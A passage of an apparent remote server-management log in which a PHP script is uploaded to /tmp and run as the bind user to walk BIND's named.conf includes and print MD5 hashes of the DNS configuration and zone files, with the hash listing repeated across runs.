MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 20:20:43: Establishing a connection
2026-04-25 20:20:43: 

PUT: /tmp/pkp318242

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 20:20:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp318242; rm /tmp/pkp318242'

2026-04-25 20:20:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 20:20:45: Establishing a connection
2026-04-25 20:20:46: 

PUT: /tmp/pkp839645

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 20:20:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp839645; rm /tmp/pkp839645'

2026-04-25 20:20:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
